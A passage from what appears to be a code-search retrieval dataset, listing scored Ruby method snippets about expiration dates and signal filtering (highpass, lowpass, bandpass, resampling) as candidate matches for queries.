"docid": "37b614bf9a14bddfda7556fa78254cc9",
"score": "0.66819954",
"text": "def expiration_date\n return unless Trebuchet.backend.respond_to?(:expiration_date)\n Trebuchet.backend.expiration_date(self.name)\n end",
"title": ""
},
{
"docid": "6542f100b701bcbdb41696abf956700b",
"score": "0.6678954",
"text": "def expires_date\n read_datetime_from_string('expires_date')\n end",
"title": ""
},
{
"docid": "c00b91e4fc02e927ba83294666a9ee3a",
"score": "0.6657759",
"text": "def has_infinite_expiration?\n expiredate > Time.now+60*60\n end",
"title": ""
},
{
"docid": "48074fbf7ab90e0a3161b23ede923ad1",
"score": "0.6656483",
"text": "def expiry_days=(value)\n @expiry_days = value.to_i\n end",
"title": ""
},
{
"docid": "585221da1a6883b989ab1ecba691a716",
"score": "0.66511494",
"text": "def expire_time\n updated_at.advance(:days => 30)\n end",
"title": ""
},
{
"docid": "e2f9e7fc91f8c1ddb16c7e9a6d5e2a42",
"score": "0.66402745",
"text": "def expiration_date\n \"#{expiration_month}/#{expiration_year}\"\n end",
"title": ""
},
{
"docid": "ce7c91960847ef1580c723392f50b624",
"score": "0.6632712",
"text": "def expired?\n Time.zone.today > expires_at\n end",
"title": ""
},
{
"docid": "18c0038d69122554cc84cfd7c8e046c2",
"score": "0.66258395",
"text": "def expiration_date\n self.created_at + RunnersBikers::MATCH_DURATION\n end",
"title": ""
},
{
"docid": "5dae52c5ae22b998a9bdfbce722d8723",
"score": "0.6625323",
"text": "def update_expires_at\n self.expires_at = if attachable\n nil\n else\n 1.day.from_now\n end\n end",
"title": ""
},
{
"docid": "ea0416fb88c5775df3766279f58ae218",
"score": "0.6623159",
"text": "def expired?(expiration_date)\n Date.today.beginning_of_day >= expiration_date.beginning_of_day\n end",
"title": ""
},
{
"docid": "e4cf9d3520900bfce21c035c5b035b2e",
"score": "0.66179585",
"text": "def expire\n update_attribute :expires_at, 1.minute.ago\n end",
"title": ""
},
{
"docid": "25c617ad9bae0193bfea5eecb989bcfa",
"score": "0.66160697",
"text": "def verify_expiration=(_arg0); end",
"title": ""
},
{
"docid": "25c617ad9bae0193bfea5eecb989bcfa",
"score": "0.66160697",
"text": "def verify_expiration=(_arg0); end",
"title": ""
},
{
"docid": "fd5e108a3f6aac4db69ac324314fb18f",
"score": "0.66122866",
"text": "def expired?\n !expiration_date || expiration_date <= Date.today\n end",
"title": ""
},
{
"docid": "bc5471630c38e920c2777d2772fd2fe3",
"score": "0.6610799",
"text": "def expiration(env = nil)\n DEFAULT_EXPIRATION\n end",
"title": ""
},
{
"docid": "a93c45d8966491e8cb7ae846dfe9d0a2",
"score": "0.66062945",
"text": "def request_expires_at\n Time.now - EXPIRATION_INTERVAL\n end",
"title": ""
},
{
"docid": "ccba335099f48427d7f4454d1edfdfe3",
"score": "0.66026676",
"text": "def start_expiry_period!\n self.update_attribute(:access_token_expires_at, Time.now + Devise.timeout_in)\n end",
"title": ""
},
{
"docid": "055bed53b99725aa41000a29289ee008",
"score": "0.6601775",
"text": "def default_expiration\n expirations\n .find_all { |exp| exp.default_action? && exp.in_expiration_interval? }\n .min { |exp| exp.time.to_i }\n end",
"title": ""
},
{
"docid": "055bed53b99725aa41000a29289ee008",
"score": "0.6601775",
"text": "def default_expiration\n expirations\n .find_all { |exp| exp.default_action? && exp.in_expiration_interval? }\n .min { |exp| exp.time.to_i }\n end",
"title": ""
},
{
"docid": "b8fb6cfee6c80a53c90ef3692a6c0977",
"score": "0.6590086",
"text": "def expire_time(key)\n @store[key].expires_at\n end",
"title": ""
},
{
"docid": "eb2b942480af3606c3c4978728e15b2c",
"score": "0.65780896",
"text": "def expired?\n return self.expires_on < Date.today if self.expires_on\n true\n end",
"title": ""
},
{
"docid": "6fa55e50167fc9da472b3a356b1316cc",
"score": "0.65736824",
"text": "def expired_on\n curr_company = Company.find(current_login.id)\n ((curr_company.created_at + 75.days).to_date - Date.today).round if curr_company.present?\n end",
"title": ""
},
{
"docid": "ad6e1a74bae8e2fe2fdbff10ec7616ca",
"score": "0.65649784",
"text": "def expires_in\n if expires_at\n expires_at - Time.now\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "bfded0370558e9169d3675c41d1357fe",
"score": "0.65575904",
"text": "def expiration(_env = nil)\n DEFAULT_EXPIRATION\n end",
"title": ""
},
{
"docid": "ef990d9bfbaab4e519f4e2a34e778409",
"score": "0.654324",
"text": "def expiration_date\n return nil unless success?\n @exdate ||= value_for_xpath('//domain:exDate') && Time.parse(value_for_xpath('//domain:exDate'))\n end",
"title": ""
},
{
"docid": "f8e6b77367221ae01630d393291af4d7",
"score": "0.6538063",
"text": "def is_expire(copoun_obj) \n if copoun_obj.expiration_type == \"time\" \n true if copoun_obj.expiration_time < Date.today\n else\n if copoun_obj.expiration_number < 1\n true\n else\n copoun_obj.update(expiration_number: copoun_obj.expiration_number-1)\n end\n end\n end",
"title": ""
},
{
"docid": "4d60d07c0ed0cb238a6d1a0832e8e370",
"score": "0.6527363",
"text": "def expire!\n if expired?\n update(true)\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "e9a4dd55e7099d27d3c8eae83343013b",
"score": "0.6527205",
"text": "def expire!\n self.last_retrieved = Time.mktime(1970).gmtime\n self.save\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.65107864",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.65107864",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.65107864",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.65107864",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.65107864",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.65107864",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
}
] |
5d3f2d3b5d36a40faa978d502cc062e0
|
Run a discrete highpass filter over the signal data (using SincFilter). Modifies current object.
|
[
{
"docid": "1694cb12b0a6f9b5d0d4ee9c29a8e2aa",
"score": "0.7276338",
"text": "def highpass! cutoff_freq, order\n filter = SincFilter.new(:sample_rate => @sample_rate, :order => order, :cutoff_freq => cutoff_freq)\n @data = filter.highpass(@data)\n return self\n end",
"title": ""
}
] |
[
{
"docid": "79624806187a032f53d428f3f9024ba6",
"score": "0.5908014",
"text": "def bandpass! left_cutoff, right_cutoff, order\n filter = DualSincFilter.new(\n :sample_rate => @sample_rate,\n :order => order,\n :left_cutoff_freq => left_cutoff,\n :right_cutoff_freq => right_cutoff\n )\n @data = filter.bandpass(@data)\n return self\n end",
"title": ""
},
{
"docid": "d7904ee77b2196d6811b89de2347c4e3",
"score": "0.5880131",
"text": "def highpass cutoff_freq, order\n self.clone.highpass! cutoff_freq, order\n end",
"title": ""
},
{
"docid": "d8f208a7b4814e6a12bfdb6864704544",
"score": "0.5875081",
"text": "def lowpass! cutoff_freq, order\n filter = SincFilter.new(:sample_rate => @sample_rate, :order => order, :cutoff_freq => cutoff_freq)\n @data = filter.lowpass(@data)\n return self\n end",
"title": ""
},
{
"docid": "7d37e58c8b123e338e2e715d0bd122c1",
"score": "0.5593628",
"text": "def bandstop! left_cutoff, right_cutoff, order\n filter = DualSincFilter.new(\n :sample_rate => @sample_rate,\n :order => order,\n :left_cutoff_freq => left_cutoff,\n :right_cutoff_freq => right_cutoff\n )\n @data = filter.bandstop(@data)\n return self\n end",
"title": ""
},
{
"docid": "54b05e13a06281b6bf3e75e60f4bb5ef",
"score": "0.4906736",
"text": "def filter_complex\n @filtergraph ||= FilterGraph\n end",
"title": ""
},
{
"docid": "d2b539e351c76ef1b56863284bf28957",
"score": "0.48991153",
"text": "def filter(x)\n w1=@w\n @w=((x-2*w1)*@k)+w1\n @result[:lowpass]=@w+w1\n @result[:highpass]=x-@result[:lowpass]\n @result\n end",
"title": ""
},
{
"docid": "0555c96ec69e0972d21614f6333ca085",
"score": "0.48750383",
"text": "def smoothing; end",
"title": ""
},
{
"docid": "7416c1ab6ff27acc9f829be6e0a90c7d",
"score": "0.48633248",
"text": "def smoothing=(_arg0); end",
"title": ""
},
{
"docid": "5547290fc02d153b0950f11f72957617",
"score": "0.4691958",
"text": "def downsample_discrete! downsample_factor, filter_order\n @data = DiscreteResampling.downsample @data, @sample_rate, downsample_factor, filter_order\n @sample_rate /= downsample_factor\n return self\n end",
"title": ""
},
{
"docid": "3997d33b4d82c141237fb89fd5dfcfc8",
"score": "0.46439967",
"text": "def lowpass cutoff_freq, order\n self.clone.lowpass! cutoff_freq, order\n end",
"title": ""
},
{
"docid": "924bc99e9f1c398480d353415046f693",
"score": "0.45946366",
"text": "def upsample_discrete! upsample_factor, filter_order\n @data = DiscreteResampling.upsample @data, @sample_rate, upsample_factor, filter_order\n @sample_rate *= upsample_factor\n return self\n end",
"title": ""
},
{
"docid": "347bd8923cdb6d630982b8942706041f",
"score": "0.4583743",
"text": "def on_high()\n \n end",
"title": ""
},
{
"docid": "f71efb5fe3ce1a8f108a18fd24bb8f7e",
"score": "0.45788643",
"text": "def resample_discrete! upsample_factor, downsample_factor, filter_order\n @data = DiscreteResampling.resample @data, @sample_rate, upsample_factor, downsample_factor, filter_order\n @sample_rate *= upsample_factor\n @sample_rate /= downsample_factor\n return self\n end",
"title": ""
},
{
"docid": "204908c7246b650088714957e6665b19",
"score": "0.4560074",
"text": "def apply_filter\n end",
"title": ""
},
{
"docid": "f099554c9859da7242c12849cd1973f5",
"score": "0.45312035",
"text": "def saturation\n filter.cardinality / filter.size.to_f\n end",
"title": ""
},
{
"docid": "58f478774a8221ca9ffce2af1cc93efb",
"score": "0.44669572",
"text": "def set_filter\n @filter = Filter.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "2a5d6a9c69e2596ddf7f544eeeb4434a",
"score": "0.4456351",
"text": "def stream!\n before_run\n\n #\n # figure out how we want to call streaming client\n #\n if @handlers[:search]\n method = :filter\n args = streamify_search_options(@handlers[:search].opts)\n else\n method = :user\n args = {\n stall_warnings: \"true\"\n }\n end\n\n streaming_client.send(method, args) do |object|\n handle_streaming_object(object)\n end\n after_run\n end",
"title": ""
},
{
"docid": "7f9425377cc51b79fad6558aaec4a8f5",
"score": "0.44353396",
"text": "def upsample_discrete upsample_factor, filter_order\n return self.clone.upsample_discrete!(upsample_factor, filter_order)\n end",
"title": ""
},
{
"docid": "e2192508d32d5bf62ca3f1031b06932a",
"score": "0.44095552",
"text": "def downsample_discrete downsample_factor, filter_order\n return self.clone.downsample_discrete!(downsample_factor, filter_order)\n end",
"title": ""
},
{
"docid": "27d8635c43b5e6fa3a87d15baa2a81fd",
"score": "0.4405003",
"text": "def execute(iInputData, oOutputData)\n lSilenceThresholds = readThresholds(@SilenceThreshold, iInputData.Header.NbrChannels)\n lAttackDuration = readDuration(@Attack, iInputData.Header.SampleRate)\n lReleaseDuration = readDuration(@Release, iInputData.Header.SampleRate)\n lSilenceDuration = readDuration(@SilenceMin, iInputData.Header.SampleRate)\n lNoiseFFTMaxDistance, lNoiseFFTProfile = readFFTProfile(@NoiseFFTFileName)\n # Create a map of the non silent parts\n # list< [ Integer, Integer ] >\n # list< [ IdxBeginNonSilentSample, IdxEndNonSilentSample ] >\n lNonSilentParts = []\n lIdxSample = 0\n while (lIdxSample != nil)\n lIdxNextSilence, lSilenceLength, lIdxNextBeyondThresholds = getNextSilentSample(iInputData, lIdxSample, lSilenceThresholds, lSilenceDuration, lNoiseFFTProfile, lNoiseFFTMaxDistance, false)\n if (lIdxNextSilence == nil)\n lNonSilentParts << [lIdxSample, iInputData.NbrSamples-1]\n else\n lNonSilentParts << [lIdxSample, lIdxNextSilence-1]\n end\n lIdxSample = lIdxNextBeyondThresholds\n end\n lStrNonSilentParts = lNonSilentParts.map { |iNonSilentInfo| \"[#{iNonSilentInfo[0]/iInputData.Header.SampleRate}s - #{iNonSilentInfo[1]/iInputData.Header.SampleRate}s]\" }\n log_info \"#{lNonSilentParts.size} non silent parts: #{lStrNonSilentParts[0..9].join(', ')}\"\n lStrDbgNonSilentParts = lNonSilentParts.map { |iNonSilentInfo| \"[#{iNonSilentInfo[0]} - #{iNonSilentInfo[1]}]\" }\n log_debug \"#{lNonSilentParts.size} non silent parts: #{lStrDbgNonSilentParts[0..9].join(', ')}\"\n # Now we write the non-silent parts, spaced with nulled parts, with fadeins and fadeouts around.\n lNextSampleToWrite = 0\n lNonSilentParts.each do |iNonSilentInfo|\n iIdxBegin, iIdxEnd = iNonSilentInfo\n # Compute the fadein buffer\n lIdxBeginFadeIn = iIdxBegin - lAttackDuration\n if (lIdxBeginFadeIn < 0)\n lIdxBeginFadeIn = 0\n end\n # Write a blank buffer if needed\n if (lIdxBeginFadeIn > lNextSampleToWrite)\n log_debug \"Write #{lIdxBeginFadeIn - lNextSampleToWrite} samples of silence\"\n oOutputData.pushRawBuffer(\"\\000\" * (((lIdxBeginFadeIn - lNextSampleToWrite)*iInputData.Header.NbrChannels*iInputData.Header.NbrBitsPerSample)/8))\n end\n lFadeInSize = iIdxBegin-lIdxBeginFadeIn\n if (lFadeInSize > 0)\n lBuffer = []\n lIdxFadeSample = 0\n iInputData.each(lIdxBeginFadeIn) do |iChannelValues|\n if (lIdxFadeSample == lFadeInSize)\n break\n end\n lBuffer.concat(iChannelValues.map { |iValue| (iValue*lIdxFadeSample)/lFadeInSize })\n lIdxFadeSample += 1\n end\n log_debug \"Write #{lBuffer.size/iInputData.Header.NbrChannels} samples of fadein.\"\n oOutputData.pushBuffer(lBuffer)\n else\n log_debug 'Ignore empty fadein.'\n end\n # Write the file\n log_debug \"Write #{iIdxEnd-iIdxBegin+1} samples of audio.\"\n iInputData.each_raw_buffer(iIdxBegin, iIdxEnd) do |iInputRawBuffer, iNbrSamples, iNbrChannels|\n oOutputData.pushRawBuffer(iInputRawBuffer)\n end\n # Write the fadeout buffer\n lIdxEndFadeOut = iIdxEnd + lReleaseDuration\n if (lIdxEndFadeOut >= iInputData.NbrSamples)\n lIdxEndFadeOut = iInputData.NbrSamples - 1\n end\n lFadeOutSize = lIdxEndFadeOut-iIdxEnd\n if (lFadeOutSize > 0)\n lBuffer = []\n lIdxFadeSample = 0\n iInputData.each(iIdxEnd+1) do |iChannelValues|\n if (lIdxFadeSample == lFadeOutSize)\n break\n end\n lBuffer.concat(iChannelValues.map { |iValue| (iValue*(lFadeOutSize-lIdxFadeSample))/lFadeOutSize })\n lIdxFadeSample += 1\n end\n log_debug \"Write #{lBuffer.size/iInputData.Header.NbrChannels} samples of fadeout.\"\n oOutputData.pushBuffer(lBuffer)\n else\n log_debug 'Ignore empty fadeout.'\n end\n lNextSampleToWrite = lIdxEndFadeOut + 1\n end\n # If there is remaining silence, write it\n if (lNextSampleToWrite < iInputData.NbrSamples)\n log_debug \"Write #{iInputData.NbrSamples - lNextSampleToWrite} samples of last silence\"\n oOutputData.pushRawBuffer(\"\\000\" * (((iInputData.NbrSamples - lNextSampleToWrite)*iInputData.Header.NbrChannels*iInputData.Header.NbrBitsPerSample)/8))\n end\n\n return nil\n end",
"title": ""
},
{
"docid": "7989eaf040cc8443c05dc0ba97df74bf",
"score": "0.436782",
"text": "def softbins=(val)\n softbins.algorithm = val\n end",
"title": ""
},
{
"docid": "c8f841a2a8de9d01d38ceecd5d9469c7",
"score": "0.43626416",
"text": "def Filter=(arg0)",
"title": ""
},
{
"docid": "a6f7ea50d7ae67dcff07130b57f50826",
"score": "0.43549523",
"text": "def harmonic_series opts = {}\n return frequency_domain.harmonic_series(opts)\n end",
"title": ""
},
{
"docid": "965920ec017d24178b6571af2b47853f",
"score": "0.43524706",
"text": "def resample_discrete upsample_factor, downsample_factor, filter_order\n return self.clone.resample_discrete!(upsample_factor, downsample_factor, filter_order)\n end",
"title": ""
},
{
"docid": "4394390c77611f70b871a98c7077a3ff",
"score": "0.43136793",
"text": "def filter(*args, &block)\n @filter = block ? Filter.new(*args, &block) : args.first\n self\n end",
"title": ""
},
{
"docid": "05b11b6a1ba5859620f737909046a5ea",
"score": "0.42868486",
"text": "def execute_SAHF(flags_register)\n\t\t# Mask the extra bits in AH for data consistency\n\t\[email protected] = (@ax.high & 0b11010101)\n\tend",
"title": ""
},
{
"docid": "67877bd160a4a94768e75cf1603f5b00",
"score": "0.4286659",
"text": "def update!(**args)\n @high = args[:high] if args.key?(:high)\n @low = args[:low] if args.key?(:low)\n end",
"title": ""
},
{
"docid": "67877bd160a4a94768e75cf1603f5b00",
"score": "0.4286659",
"text": "def update!(**args)\n @high = args[:high] if args.key?(:high)\n @low = args[:low] if args.key?(:low)\n end",
"title": ""
},
{
"docid": "67877bd160a4a94768e75cf1603f5b00",
"score": "0.4286659",
"text": "def update!(**args)\n @high = args[:high] if args.key?(:high)\n @low = args[:low] if args.key?(:low)\n end",
"title": ""
},
{
"docid": "7d983159c2777a3825447d597487d820",
"score": "0.427872",
"text": "def discretize_at_cutpoints!(f2cp, mid_point=false)\n each_sample do |k, s|\n s.keys.each do |f|\n s[f] = get_index(s[f], f2cp[f], mid_point)\n end\n end\n \n # clear vars because of data change\n clear_vars\n \n # set all feature type as CATEGORICAL\n each_feature do |f|\n set_feature_type(f, :categorical)\n end\n end",
"title": ""
},
{
"docid": "85483fb49e1442de72b9c3dcecd405b6",
"score": "0.42744482",
"text": "def add_filter\n @filter = true \n end",
"title": ""
},
{
"docid": "c674c4cd20f93c7348c11f616f21924c",
"score": "0.42678726",
"text": "def _handle(filter, handler, *args)\n result = handler.call(*args)\n @processed += 1\n result\n rescue StandardError => err\n raise ::Webby::Error, \"#{filter} filter error: #{err.message.inspect}\"\n end",
"title": ""
},
{
"docid": "8f13042773b29d033a3eec3088575d6a",
"score": "0.42657778",
"text": "def update!(**args)\n @segment_filters = args[:segment_filters] if args.key?(:segment_filters)\n end",
"title": ""
},
{
"docid": "a5bade71b595bff01c78f1332c960bfb",
"score": "0.4253568",
"text": "def set_inquiry_filter\n @inquiry_filter = InquiryFilter.find(params[:id])\n end",
"title": ""
},
{
"docid": "5f4f8d15fa911b647b3992538e5912af",
"score": "0.422172",
"text": "def filter(key, &block)\n @output_filters[key] = block if block_given?\n end",
"title": ""
},
{
"docid": "71517f058dd3a294cdfd4617cb4c855d",
"score": "0.42208332",
"text": "def filter(samplemethod=:sample,&block)\n return Filter.new( self, samplemethod, &block )\n end",
"title": ""
},
{
"docid": "56d9c7dda5f70f42d56ef338ea0f0638",
"score": "0.4219019",
"text": "def postprocess_sampled_data(data, desired_samples, drawing_area_width)\n if data.length > desired_samples\n resample_data(data, desired_samples)\n end\n \n data\n end",
"title": ""
},
{
"docid": "3b0b7e6f497e954a8d718c18ad18f1c5",
"score": "0.4214881",
"text": "def global_filter=(_arg0); end",
"title": ""
},
{
"docid": "044baf3f8f4f16f67bc359a2db9a78b5",
"score": "0.42146197",
"text": "def filter(spectrum)\n\t filters.map do |coefficients|\n\t\tcoefficients.zip(spectrum).map {|coefficient, power| coefficient * power }\n\t\t\t\t\t .reduce(&:+)\n\t end\n\tend",
"title": ""
},
{
"docid": "30441a8b434d06f6c00283c431dcb829",
"score": "0.42074135",
"text": "def register_filter(mod); end",
"title": ""
},
{
"docid": "007e32a81ff2ab7b56dfba94d53f1878",
"score": "0.4206346",
"text": "def register_filter(mod)\n Strainer.global_filter(mod)\n end",
"title": ""
},
{
"docid": "aa9cb98d7fd959d3c7f173a25b373da7",
"score": "0.4203001",
"text": "def _update_dataset\n apply_instance_filters(super)\n end",
"title": ""
},
{
"docid": "4e7ce668142d6d5f1f2a7e9bee97b0d9",
"score": "0.41892588",
"text": "def process_data(data)\n val = data[:channels][@channel_number].to_i(false)\n @cached_val = if @active_high then (val != 0) else (val == 0) end\n @cached_val\n end",
"title": ""
},
{
"docid": "e83084fd4622e209042a79d6d6325849",
"score": "0.4187977",
"text": "def freq_b_rf=(hz, ref_in=nil)\n ref_in ||= ref_frequency\n ref_in = 10_000_000 if ref_in == 0\n Valon.set_freq_rf(@b_regs, hz, ref_in)\n end",
"title": ""
},
{
"docid": "4ffcca5d95b66ab0600a234987ab2e79",
"score": "0.4185247",
"text": "def set_filter\n @filter = Filter.find(params[:id])\n end",
"title": ""
},
{
"docid": "4ffcca5d95b66ab0600a234987ab2e79",
"score": "0.4185247",
"text": "def set_filter\n @filter = Filter.find(params[:id])\n end",
"title": ""
},
{
"docid": "4ffcca5d95b66ab0600a234987ab2e79",
"score": "0.4185247",
"text": "def set_filter\n @filter = Filter.find(params[:id])\n end",
"title": ""
},
{
"docid": "42281c9c4bcf1fe23b778c7e59f14a29",
"score": "0.41721493",
"text": "def output_filter(*args)\n filter(*args)\n end",
"title": ""
},
{
"docid": "b50c3b6e029ee041058785995e266162",
"score": "0.41706014",
"text": "def filter(klass = nil, &block)\n @filterClass = klass\n @filterBlock = block\n end",
"title": ""
},
{
"docid": "cadeb46af0d75b87f804590644b9a903",
"score": "0.41696253",
"text": "def add_filter(filter_argument = T.unsafe(nil), &filter_proc); end",
"title": ""
},
{
"docid": "9919d986c74a41ebc1440f8f9381c1be",
"score": "0.41675574",
"text": "def filter(value)\n @filter_rx = value\n end",
"title": ""
},
{
"docid": "0611a2ec816c72c1940ff4d66ce2e7cd",
"score": "0.4156315",
"text": "def apply_instance_filters(ds)\n instance_filters.inject(ds){|ds1, i| ds1.where(*i[0], &i[1])}\n end",
"title": ""
},
{
"docid": "1078b54c6ebdb145f6e2614f2ef8245c",
"score": "0.41527012",
"text": "def resample_hybrid! upsample_factor, downsample_factor, filter_order\n @data = HybridResampling.resample @data, @sample_rate, upsample_factor, downsample_factor, filter_order\n @sample_rate *= upsample_factor\n @sample_rate /= downsample_factor\n return self\n end",
"title": ""
},
{
"docid": "6e248db5c370527c8926c3ca5f0d8316",
"score": "0.41455144",
"text": "def filter(&block)\n filters = self.filters << yield\n metaclass.send(:define_method, :_filters) do\n filters\n end\n end",
"title": ""
},
{
"docid": "ba92942f69a8631ae10ae0d3a054bba5",
"score": "0.4145129",
"text": "def update!(**args)\n @feature_noise_sigma = args[:feature_noise_sigma] if args.key?(:feature_noise_sigma)\n @noise_sigma = args[:noise_sigma] if args.key?(:noise_sigma)\n @noisy_sample_count = args[:noisy_sample_count] if args.key?(:noisy_sample_count)\n end",
"title": ""
},
{
"docid": "9cdf273e8234ea1b0a38181940aad555",
"score": "0.4143297",
"text": "def inFreqGenIntraFunc(current)\n\t\t$arrayInfreq.each do |y|\n\t\t\t\ttempSize=(y[0]¤t)\n\t\t\t\tif 2<=tempSize.size\n\t\t\t\t\t$tempCounter+=1\n\t\t\t\tend\n\t\t\tend\n\tend",
"title": ""
},
{
"docid": "91eae4eda3d9c604f7f85974ae81039e",
"score": "0.4130433",
"text": "def transform\n raise \"No input data\" unless @data\n ([email protected]).each do |k|\n @data.each_with_index do |d,i|\n @freq[k] = Complex(\n @freq[k].real + d * Math.cos( 2 * Math::PI * k * i / @data.size ),\n @freq[k].imag - d * Math.sin( 2 * Math::PI * k * i / @data.size )\n )\n end\n end\n return @freq\n end",
"title": ""
},
{
"docid": "c8689d27d995d54806966515523aff2b",
"score": "0.4119913",
"text": "def kalman_filter motion, measurements, motion_sig, measurement_sig, mu, sig \n\tmeasurements.each_with_index do | x, i |\n\t\tmu, sig = update(mu, sig, measurements[i], measurement_sig ) \n\t\tputss 'update: '+[mu, sig].inspect\n\t\tmu, sig = predict(mu, sig, motion[i], motion_sig ) \n\t\tputss 'predict: '+[mu, sig].inspect\n\tend\nend",
"title": ""
},
{
"docid": "b9a608d3f8264cac1861ce9127002e38",
"score": "0.41143954",
"text": "def icc_1_f_shrout\n Statsample::Test::F.new(bms, wms, @df_bt, @df_wt)\n end",
"title": ""
},
{
"docid": "7884cdde97fad50cc415e68fadaddfd8",
"score": "0.41131875",
"text": "def instance_filter(*args, &block)\n instance_filters << [args, block]\n end",
"title": ""
},
{
"docid": "ebcb1e03d5b0fc1d58a56884163bf986",
"score": "0.41122353",
"text": "def hs=(value); self.state = { :hue => value[0], :sat => value[1] }; end",
"title": ""
},
{
"docid": "8fcb60bff957f409750fad6d5885f41a",
"score": "0.41057292",
"text": "def set_high_light\n @high_light = HighLight.find(params[:id])\n end",
"title": ""
},
{
"docid": "554744954d3a81b8094ff512468af348",
"score": "0.40991238",
"text": "def update!(**args)\n @dimension_filter = args[:dimension_filter] if args.key?(:dimension_filter)\n end",
"title": ""
},
{
"docid": "d6ad874894ad1ee06b177eedae1886f6",
"score": "0.40932548",
"text": "def apply_filter(type, request, ds)\n if filter = filter_for\n ds = filter.call(ds, type, request)\n end\n ds\n end",
"title": ""
},
{
"docid": "714c81555a25e21317cf1209f5592083",
"score": "0.40908948",
"text": "def react_port(port, energy)\n super(port, energy)\n case id = port.id\n when INPUT_CLEAR_SEGS_ID\n if energy.value >= @threshold\n @segments.each_key do |key|\n @segments[key] = false\n end\n end\n try_callback(:on_react_clear, self, port, energy)\n when INPUT_SEG1_ID, INPUT_SEG2_ID, INPUT_SEG3_ID, INPUT_SEG4_ID,\n INPUT_SEG5_ID, INPUT_SEG6_ID, INPUT_SEG7_ID\n @segments[id.to_s.gsub(\"_in\",\"\").to_sym] = energy.value >= @threshold\n try_callback(:on_react_seg, self, port, energy)\n end\n end",
"title": ""
},
{
"docid": "0ad87eb7f8b429d1c2c25738356e7215",
"score": "0.40884128",
"text": "def update!(**args)\n @composite_filter = args[:composite_filter] if args.key?(:composite_filter)\n @value_filter = args[:value_filter] if args.key?(:value_filter)\n end",
"title": ""
},
{
"docid": "0ad87eb7f8b429d1c2c25738356e7215",
"score": "0.40884128",
"text": "def update!(**args)\n @composite_filter = args[:composite_filter] if args.key?(:composite_filter)\n @value_filter = args[:value_filter] if args.key?(:value_filter)\n end",
"title": ""
},
{
"docid": "edca06754c9fc1ea700efd20f4f69412",
"score": "0.40783572",
"text": "def filter(*args)\n raise NotImplementedError, 'Subclass should implement.'\n end",
"title": ""
},
{
"docid": "a6c5cf8a0bd910af463f8a2258f5b731",
"score": "0.40716285",
"text": "def filter\n end",
"title": ""
},
{
"docid": "f52925eb8071111b1b697100898d15d8",
"score": "0.40657365",
"text": "def discretize_by_Chi2!(delta=0.02) \n # degree of freedom equals one less than number of classes \n df = get_classes.size-1\n \n #\n # Phase 1\n #\n \n sig_level = 0.5\n sig_level0 = sig_level\n \n inst_cnt = get_instance_count\n inconsis_rate = get_IR_by_count(inst_cnt)\n \n # f2bs = {\n # :'sepal-length' => [4.4],\n # :'sepal-width' => [2.0],\n # :'petal-length' => [1.0, 3.0, 5.0],\n # :'petal-width' => [0.1, 1.0, 1.7],\n # }\n \n while true\n chisq = pval2chisq(sig_level, df)\n f2bs = {} # cut ponts\n \n each_feature do |f|\n bs, cs, qs = chi2_init(f)\n chi2_merge(bs, cs, qs, chisq)\n \n f2bs[f] = bs\n end\n \n inconsis_rate = chi2_get_inconsistency_rate(inst_cnt, f2bs)\n \n if inconsis_rate <= delta\n sig_level -= 0.1\n sig_level0 = sig_level\n \n break if sig_level0 <= 0.2 # phase 1 stop at level == 0.2\n else # data inconsistency\n break\n end \n end\n \n #\n # Phase 2\n #\n \n try_levels = [0.1, 0.01, 0.001, 1e-4, \n 1e-5, 1e-6, 1e-7, 1e-8, \n 1e-9, 1e-10, 1e-11, 1e-12] \n mergeble_fs = []\n f2sig_level = {}\n \n each_feature do |f|\n mergeble_fs << f\n f2sig_level[f] = sig_level0\n end\n \n f2bs = {} # cut ponts\n \n while not mergeble_fs.empty?\n mergeble_fs.each do |f|\n #pp f\n bs, cs, qs = chi2_init(f)\n chisq_now = pval2chisq(f2sig_level[f], df)\n chi2_merge(bs, cs, qs, chisq_now)\n \n # backup\n bs_bak = nil\n if f2bs.has_key? f\n bs_bak = f2bs[f]\n end\n f2bs[f] = bs\n \n inconsis_rate = chi2_get_inconsistency_rate(inst_cnt, f2bs)\n \n if (inconsis_rate <= delta)\n # try next level\n next_level = chi2_decrease_sig_level(f2sig_level[f], try_levels)\n f2sig_level[f] = next_level\n \n if not next_level # we've tried all levels\n mergeble_fs.delete(f)\n else\n f2bs[f] = bs # record cut points for this level\n end\n else # cause more inconsistency\n f2bs[f] = bs_bak if bs_bak # restore last cut points\n mergeble_fs.delete(f) # not mergeble\n end\n end\n end\n #pp f2bs\n #pp f2sig_level\n \n # if there is only one interval, remove this feature\n each_sample do |k, s|\n s.delete_if { |f, v| f2bs[f].size <= 1 }\n end\n \n # discretize according to each feature's cut points\n discretize_at_cutpoints!(f2bs)\n end",
"title": ""
},
{
"docid": "e7cdb0648725c51e6856fa9a3a76ee73",
"score": "0.40655512",
"text": "def update!(**args)\n @high = args[:high] if args.key?(:high)\n @high_label = args[:high_label] if args.key?(:high_label)\n @low = args[:low] if args.key?(:low)\n @low_label = args[:low_label] if args.key?(:low_label)\n end",
"title": ""
},
{
"docid": "fa15d745fce5430dfe8cebb3e55a6cc3",
"score": "0.40655282",
"text": "def ts_apply_filters\n # TODO: Make filters for Thinking Sphinx\n end",
"title": ""
},
{
"docid": "175e9747869a66f27a72e87767698003",
"score": "0.40571266",
